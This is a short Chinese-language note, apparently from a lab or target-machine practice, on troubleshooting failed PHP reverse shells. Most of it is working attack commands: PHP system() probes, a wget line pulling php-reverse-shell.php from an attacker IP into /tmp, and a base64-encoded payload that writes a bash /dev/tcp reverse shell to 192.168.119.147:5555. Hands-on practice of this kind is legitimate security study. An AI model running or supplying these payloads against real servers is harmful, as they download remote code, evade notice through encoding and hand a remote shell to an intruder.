今天在做靶机练习的时候,遇到了在回连shell的时候,使用常用的reverse shell连接失败了。整理了以下思路。通过以下思路判断为何失效,并更新reverse shell内容。(不一定全,欢迎补充)
1. 利用phpinfo()来获取PHP的配置信息。
PHP:<?php phpinfo(); ?>
-
查看是否具备包含远程文件的条件:allow_url_fopen/allow_url_include是否开启。
-
查看是否有禁用的函数:disable_functions,重要函数:system()/eval()/exec_shell()
2. 若执行系统命令的函数未被禁用,尝试执行系统命令:
PHP:<?php echo system("id; ls -la; pwd") ?>
-
id:查看当前用户
-
pwd:查看当前工作目录
-
ls -la:查看当前路径下文件以及判断是否对当前目录有写入权限
3. 若可以执行系统命令,但当前目录无写入权限时:
PHP:<?php echo system("wget http://192.168.119.166/php-reverse-shell.php -O /tmp/shell.php; ls /tmp") ?>
-
尝试写入/tmp目录,需要文件包含漏洞可以包含/tmp目录才行。
-
尝试写入前,也需要判断下靶机是否有wget、curl等,<?php echo system("which wget; which curl") ?>
4. 若无法执行下载命令,可以尝试利用PHP向靶机写入reverse shell文件。
PHP:<?php echo system("echo PD9waHAgZWNobyBzeXN0ZW0oImJhc2ggLWMgJ2V4ZWMgYmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTE5LjE0Ny81NTU1IDwmMSciKTsgPz4= | base64 -d >/tmp/shell.php") ?>
-
base64的内容:<?php echo system("bash -c 'exec bash -i &>/dev/tcp/192.168.119.147/5555 <&1'"); ?>